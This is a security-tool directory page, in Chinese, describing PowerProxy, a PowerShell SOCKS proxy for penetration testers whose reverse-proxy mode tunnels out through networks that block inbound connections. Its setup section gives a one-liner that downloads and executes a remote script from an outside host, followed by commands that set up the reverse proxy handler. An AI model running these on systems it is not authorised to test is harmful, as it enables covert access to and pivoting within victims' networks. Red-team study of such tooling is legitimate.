Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PowerProxy — 具有反向代理功能的PowerShell SOCKS代理 | Kitploit
工具/GitHubGitHub/get-get-get-get/powerproxy
网络安全渗透测试命令与控制红队
GitHubget-get-get-get/powerproxy

PowerProxy

具有反向代理功能的PowerShell SOCKS代理

查看仓库
84136年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PowerProxy

PowerShell SOCKS 代理,具备反向代理功能。

PowerProxy 专为渗透测试人员设计。反向代理功能是优先考虑的特性,用于穿越拦截入站连接的网络。反向代理连接默认加密。支持 SOCKS 5 连接的 用户名/密码 认证。

设置

导入脚本:

root@kitploit:~
iex (new-object net.webclient).downloadstring("http://192.168.0.22/PowerProxy.ps1") 
# 或者
Import-Module \\192.168.0.22\Public\PowerProxy.ps1

reverse_proxy_handler.py 可以创建临时 SSL 证书,这需要 OpenSSL。如果你的机器上没有安装 OpenSSL(大多数基于 Linux/Unix 的系统上都有),请提供你自己的证书,或使用 --no-encrypt 选项。

用法

如需详细用法,请查看 PowerProxy 的帮助,或使用 ./reverse_proxy_handler.py --help

运行反向代理

在本地机器上,启动 handler:

root@kitploit:~
# Listen for reverse proxies on port 8080. Clients connect to port 1080 (default)
./reverse_proxy_handler.py -p 8080 

在 PowerShell 中:

root@kitploit:~
Start-ReverseSocksProxy 172.1.1.20 -Port 8080

代理客户端可以将 reverse_proxy_handler.py 创建的服务器视为实际的 SOCKS 服务器:

root@kitploit:~
curl --socks4 127.0.0.1:1080 http://10.10.2.69/

运行传统 SOCKS 服务器

root@kitploit:~
Start-SocksProxy 172.10.2.20 -Port 9050

需要认证

使用 PSCredential 对象来要求用户名和密码:

root@kitploit:~
# Create the credential
$Password = ConvertTo-SecureString -AsPlaintext -Force "Passw0rd123"
$Cred = New-Object System.Management.Automation.PSCredential ("ProxyUser", $Password)

Start-ReverseSocksProxy -Credential $Cred -Address 10.10.10.24 -Verbose

限制

  • 目前仅支持 CONNECT 请求。如果可行,目标是支持 BIND。
  • 不支持 GSSAPI 认证。
  • reverse_proxy_handler.py 仅在基于 UNIX 的机器上测试过,可能无法在 Windows 上运行。
下载工具